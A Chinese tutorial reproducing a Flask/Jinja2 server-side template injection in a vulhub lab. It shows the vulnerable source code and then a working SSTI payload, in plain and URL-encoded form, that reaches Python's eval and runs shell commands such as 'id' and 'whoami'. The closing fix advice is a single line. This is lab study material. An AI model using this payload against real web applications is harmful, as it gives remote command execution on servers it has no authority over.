天天看点

Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。

漏洞概述

其中采用jinja2模板引擎传递参数,在书写不规范的时候会发生jinja模板语法的注入命令执行

环境搭建

这里使用vulhub进行搭建

地址:

https://github.com/vulhub/vulhub/tree/master/flask/ssti
           
进入目录并编译运行测试环境

cd vulhub-master/flask/ssti/

docker-compose build

docker-compose up -d
           
Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

访问your-ip:8000即可看到页面

Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

漏洞复现

flask/ssti后端源码

from flask import Flask, request 
from jinja2 import Template 

app = Flask(__name__) 

@app.route("/") 
def index(): 
name = request.args.get('name', 'guest') 

t = Template("Hello " + name) 
return t.render() 

if __name__ == "__main__": 
app.run()
           

可以看到name变量完全可控

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
           

访问

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           
Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

访问

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           
Flask(Jinja2) 服务端模板注入漏洞复现简介漏洞概述环境搭建漏洞复现修复建议

成功执行命令

修复建议

升级到安全版本

继续阅读